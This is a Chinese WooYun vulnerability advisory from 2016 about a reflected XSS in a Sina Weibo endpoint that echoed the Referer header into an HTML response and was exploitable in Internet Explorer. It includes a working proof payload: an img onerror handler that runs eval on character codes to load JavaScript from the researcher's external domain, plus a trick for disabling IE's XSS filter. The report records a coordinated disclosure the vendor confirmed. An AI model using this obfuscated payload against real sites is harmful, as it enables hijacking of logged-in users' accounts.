当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0190240

漏洞标题:新浪微博反射型XSS可实现点我链接关注\发微博等功能

相关厂商:新浪微博

漏洞作者: zhchbin

提交时间:2016-03-29 09:27

修复时间:2016-05-14 10:20

公开时间:2016-05-14 10:20

漏洞类型:XSS 跨站脚本攻击

危害等级:中

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-29: 细节已通知厂商并且等待厂商处理中
2016-03-30: 厂商已经确认,细节仅向厂商公开
2016-04-09: 细节向核心白帽子及相关领域专家公开
2016-04-19: 细节向普通白帽子公开
2016-04-29: 细节向实习白帽子公开
2016-05-14: 细节向公众公开

简要描述:

挺好玩的一枚XSS,通过referrer注入,IE下测试有效

详细说明:

这个功能在:http://book.weibo.com/newcms/tp_p4c22t65.html这个页面中的分享处,不过今天我说过不报CSRF了,所以这次是一次反射型的XSS。
接口:http://book.weibo.com/newcms/i/weibo_send.php
这个接口会检查referrer,当referrer错误时会直接放回以下内容:

{"code":-1,"message":"\u8bf7\u6c42\u6e90\u4e0d\u5141\u8bb8[http:\/\/error.referer]"}


可以看到referrer被返回来了,而且页面的Content-Type如下:

Content-Type: text/html; charset=utf-8


于是乎我就开始寻找构造XSS的过程。在Chrome和Firefox下,referrer都会被进行url encode导致无法插入HTML标签,因此这里我就没有深入。而在IE下,referrer是按照原始请求的格式传回给该接口的服务端,而这个接口没有经过任何过滤就直接返回了,所以在IE下,我们可以通过referrer进行XSS。具体构造过程如下:
设想过程,访问URL

http://a.zhchbin.xyz/?a=<img src=1 onerror=alert(1)>


然后跳转到:http://book.weibo.com/newcms/i/weibo_send.php中,则可以完成XSS。
不过遇到第一个问题就是上述请求会被IE的XSS过滤器拦截,怎么办呢?我想到的是关闭它,为什么?因为他拦截的是我们自己的域名啊!于是在我们接口的响应头中返回一个头部信息:

X-XSS-Protection: 0


关闭之后一切好办了,插入一个img标签,在onerror的时候eval一下一个字符串加载我们服务端的js文件,完成攻击。

漏洞证明:

1. IE下登录微博
2. 访问以下URL

http://a.zhchbin.xyz/?a=<img src=1 onerror=eval(String.fromCharCode(101,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,115,99,114,105,112,116,34,41,59,101,46,115,114,99,61,34,104,116,116,112,58,47,47,97,46,122,104,99,104,98,105,110,46,120,121,122,47,98,111,111,107,46,119,101,105,98,111,46,106,115,34,44,100,111,99,117,109,101,110,116,46,100,111,99,117,109,101,110,116,69,108,101,109,101,110,116,46,97,112,112,101,110,100,67,104,105,108,100,40,101,41))>


3. 加载了远程代码并执行
用到的代码及过程的截图可以看我这个secret gist: https://gist.github.com/zhchbin/e8caa88cd9841c47b6f1

修复方案:

过滤

版权声明:转载请注明来源 zhchbin@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:2

确认时间:2016-03-30 10:19

厂商回复:

感谢关注新浪安全,问题修复中。

最新状态:

暂无


漏洞评价:

评价

  1. 2016-03-29 12:54 | zhchbin ( 普通白帽子 | Rank:124 漏洞数:28 | 要走得再远一些!|但行好事,不问前程)

    @新浪微博 我从服务器的log看到你们测试用的IE版本,发现有点小问题,所以我已经更新了一下验证的URL,记得刷新看看。